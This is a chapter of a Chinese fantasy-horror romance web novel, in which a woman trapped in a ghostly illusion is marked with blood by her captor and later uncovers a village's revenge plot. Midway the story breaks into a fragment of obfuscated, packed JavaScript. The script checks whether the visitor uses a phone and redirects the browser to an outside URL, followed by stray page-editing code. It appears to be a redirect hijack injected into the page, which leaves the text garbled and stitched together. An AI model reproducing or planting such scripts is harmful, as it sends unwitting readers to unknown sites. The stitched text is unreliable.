转念一瞬,易辛觉得自己逻辑不通。如果那只鬼真想成亲,根本不必揭穿她替嫁之事,顺其自然即可。
难道这鬼是在报复自己伤了他?此刻正用某种咒术害她?
“你怕鬼?”祁不为声音极轻,仿佛从九幽地狱的深处传来,“没做亏心事,不怕鬼敲门。”
祁不为收了笔,再浸入海碗中饮血,垂眼不语。
脖颈上那条血痕正往下渗着流渍,触感惊悚诡异,好像在开更多的口子。
若真是那只鬼、不是镜中花的幻境,她可没有自暴自弃还能相安无事的松弛,顿时极力自救:“你我素不相识,你变成今天这样,并非我害的。我们有话好好说,也许我能帮你?”
面对易辛的示好,祁不为神色不动,提笔撇墨,血水顺着碗壁蜿蜒,在易辛心口上利落一划。
衣襟落下一笔红,长短恰是一柄剑的宽度。
加上脖子上那一笔,简直像是丈量好位置,方便直接下刀。
“你到底想做什么……?”易辛胆战心惊地问。
祁不为扔了笔,从容端起海碗,悬在半空,手一斜,淋漓鲜血全部落在胸前那道画痕上,仿佛是从她心口里喷涌而出。
啪!
海碗碎在地上,血沁透了易辛衣裳,染红了整片胸口,连两侧床榻也洇湿了。
易辛近乎是濒临崩溃,她仿佛身处某种邪术的施展台面上,一切尘埃落定,生死也听天由命。
“你——!”
易辛又惧又怕,眼底不由自主浮起一层水光,氲出薄薄怒气,但开口的话忽然扼住了。
祁不为正居高临下地望着她,浓艳淋漓的鲜红似乎让他觉得刺眼,刺得他将要流泪。
易辛怀疑自己看错了,忽然间在她错愕的目光里,祁不为俯下身,伏在她耳边,声音低沉,恍如泣诉:
“你不是情系于我吗?……为何将我中伤至此。”
——刹那间,易辛仿佛回到了前世那个错误的新婚之夜,祁不为发现她放跑了祁有为,也揭穿了她极力隐藏的爱慕之意。他质问她,如果爱他,为何不成全他想做的事。
没有乌衣村那只鬼,只有困在前世、不知剧变即将到来、一心只想把阿姐留在身边的祁不为,那个害怕抛弃、害怕背叛的可怜鬼。
眼眶一热,泪珠滚落,很快没入鬓发里。
但易辛来不及悲伤,她感觉祁不为低下头,伏在自己颈边,细细舔舐着那些血迹。
就像一头野狼细嗅猎物,打算一口咬断它的喉骨。
这种感觉实在惊悚,颤栗感立即布满全身,易辛不禁喊道:“等等、不要——”
她的话全部被祁不为堵了回去,那只一刀贯穿的左手正死死捂住她嘴巴。
易辛眉头紧紧拧起,却又动弹不得,只能像砧板上的鱼任他所为。
颈项被人触碰,有时危险,有时暧昧。
不知何时开始,也许捂嘴影响了呼吸,易辛有些微微气喘,又或许是祁不为舔血厮磨的动作让这份危险变了味。
一切都往意想不到的方向走去。
温热的吐息洒在颈边,冰凉的乌发摩着下巴,她甚至能感受祁不为一点一点的移动,有时能触到额头。
血渐渐变热,体内仿佛氤氲着蒸汽,从脊髓攀升到头顶,掀起一片酥麻,在她眼里凝出晶亮的水光。
忽然咬住了喉骨,易辛眸光一变,下意识地咽了下喉咙,那一小块骨头似乎划过了温热的唇和齿关。
受人钳制的脆弱和无法言说的刺激之下,泪水瞬间从易辛眼尾滚落,眼眶跟着紧了紧。
一片寂静中,她呜呜出声,似乎想央求祁不为放过她。
但手心施加的力度拒绝了她,祁不为依旧我行我素。
易辛渐渐呼吸不畅,不由自主地张开口汲取空气,但滴进喉咙里的全是掌心血。
嘴里铁锈味弥漫,积了液体,为了不被呛住,易辛只能吞咽着缓缓喝下,看起来仿佛在舔祁不为掌心。
——这是十分奇怪诡谲的画面,他吸着她颈上的血,她喝着他手心的血。仿佛两棵互相寄生的树,唯有如此,才能活下去。
易辛眼前发晕,视物渐而朦胧,空气不足让她胸口剧烈起伏着,恍惚间,那只手离开了,身上跟着一轻。
她微微阖着眼眸,细碎的光透出来,看见祁不为唇上鲜红,配着那副苍白面孔,平添几分妖诡。
祁不为也在看她,没人知道他在想什么,只见颈上那片肌肤在烛光下泛起淋漓水光,再无一丝血痕。
他全部舔干净了。
易辛偏过头,本能地呼吸着新鲜空气,倏然感到腰间被不轻不重的力气扯了一下,垂眼看去,祁不为解开了她的襟带。
他把血衣一件件剥掉了,最后的里衣上还剩一团血迹。他指尖微动,丝丝缕缕的血线从衣服里挑出,凝作一道锐利红光,随着他唰然一扬,越过忽然洞开的房门,直直穿进风雪。
易辛视线追了过去,但祁不为已然起身,颀长的背影挡住了一切,他抬步走入天地间的风雪里。
鹅毛大雪落在祁不为肩头,他微微侧首,透过院中那棵绿萼梅望着天上明月。
月华落在他眼睛里,泛起茫然孤寂的光,长发随寒风拂过,越来越凉。
身后忽有动静,他眼睫一垂,偏过头来,只见易辛站在门边,手里拿着纱布和药瓶,却怔怔地看着倒在雪地里的柳树精。
柳树精被绳索捆住,身上插着柄红刃,在雪地里抽搐不止,等生机完全散尽时才停下。
寒风一刮,漫天大雪里忽然涌起了根状的红色花瓣。
红花白雪仿佛织成一张不可逾越的网,隔在了祁不为和易辛中间。
祁不为静止了似的,维持着最后的动作,脸上无甚表情,淡淡地望着易辛。
易辛神色怔忪,好像还没反应过来,声音里带了细微的哭腔:“手……还没包扎……”
话音刚落,眼前一切蓦地铺陈着无边无尽的黑暗,脚底微微生光,道路两旁,镜中花竞态极妍,周身围绕着几簇森白鬼火。
她孑然一身地站在人鬼道上,几个时辰前的一切仿佛只是镜中花水中月。
呆立良久,那些鬼火倏忽没入她体内,视野中猛然黯淡下去,把她沉浸在幻境中的那口气无情掐断了。
她窒息般大口呼吸几下,继而环顾四周,除了青石板泛起的幽幽微光,其余地方越往深里看越黑。
白无常去忙地府事务,而祁不为好像真的走得太远,现在还没走回来。
她并不想在此地久留,决定去外面等人。
前方不远处,可见悬浮洞口,正好是她来时的入口。
易辛一面朝它走去,一面不可自抑地回想镜中花的幻境,脑海里隐隐有根针,好似在提醒她什么不协调的东西。
但那阵隐秘还没来得及深挖,诡谲恐惧便重重压了过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148140|191107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>穿过入口,易辛应该回到河边,可眼前茅屋林立,四四方方,在深沉夜色里好像一张张亟待进食的血盆大口。
垂柳处有阵法,把她瞬移到了乌衣村口!
仿佛有人对乌衣村施了沉睡咒术,此地静得落针可闻,没有婴孩半夜啼哭,没有鸡鸣狗吠,连嘈杂虫鸣都听不到。
易辛退后几步,和村口的距离却始终不变,明晃晃的“请君入瓮”。
她在昏暗中逡巡,月色惨白晦暗,但总归聊胜于无。
深呼吸几下后,她抬脚走向村子,浑身紧绷着,保持警惕。
一路上什么也没发生,好似蛰伏在黑暗中的那头猛兽认为她毫无威胁,甚至不愿伸出爪牙。
靠近姜大尧的茅屋时,易辛忽然顿住了脚步,目光定在那片被翻过的土地上,默默看了一会儿。
片刻后,她鬼使神差地从村民屋檐下拿出锄头,翻开了不知被人踩过多少遍的“衣冠冢”。
易辛打开包袱,翻看里面的衣物,倏地,瞳孔针刺般缩紧!
衣物背面写了两行鲜红的字——祁连山、徐晴岚。
“……有一年旱情特别严重,村子几乎要死光了,那时候突然天降甘霖……”
“后来我们才知道,是那块地方飞升了一个能下雨的大仙……忽然来了几个修仙的道人,他们说大仙是妖,要杀掉他!”
“可就算大仙是妖怪,他也是做好事的妖怪,我们渴死了人的时候,那些修仙的在哪?……大仙一死,我们就会跟着死……难道冠上妖的名字就是坏的?”
“双拳难敌四手,大仙被他们打死了……”
“我们普通人,也不好跟那些会法术的拼命,迫不得已迁了村,然后造了他们的‘衣冠冢’,每逢祭祀,便把他们挖出来泄愤。”
——会下雨的大仙……是伏麟?!
易辛双手止不住地颤抖起来,手里好像不是两件衣服,而是死后不得安宁、被千人践踏、万人鞭尸的……两具伤痕累累的尸骨。
那个夜晚,长鞭猎猎作响,打得草屑激扬。
她浑身血液发凉,冻得几乎站不住,齿关打颤的声音在耳边异常清晰。
阴谋……又是不知不觉的阴谋……
忽然间,四周脚步纷乱,由外向内,黑夜里燃起道道火把,把易辛围在中央,村民神情冷漠阴晦。
易辛竭力控制发抖的双手,脱下外衣,凝重地把那两件衣物妥帖裹好,才抱着它们站起身,映着火光的双眼钉住村长:“你们和柳树精还有姜大尧是什么关系?”
村长双目阴鸷,冷笑问道:“你怎么发现是姜大尧的?”
“方才你告诉我的。”
村长僵了一下:“你诈我?!”
“你知道我们的身份了,对吗?”怒意让易辛声音有些走调,“你故意把我们引到这里来,姜大尧是同谋!”
“对!你们杀了那头蛟龙!再也没有大雨了!我们死了那么多人,难道不能报仇吗!”村长声音陡然拔高,“爹娘死了,就让子女来报!我们供奉姜大尧,姜大尧再拉拢那只柳树精。让祁不为当诱饵,引来他姐姐,逐个击破!先杀姐姐,再杀弟弟!至于你,算你倒霉!”
“那头蛟龙就是作恶多端的妖怪!”易辛喝道,“他引起洪涝灾害,当年多少人流离失所,若是放任下去,他会淹死数万人!”
“为了不死那数万人,就可以死我们几百人吗!”村长高声驳斥,怒不可遏。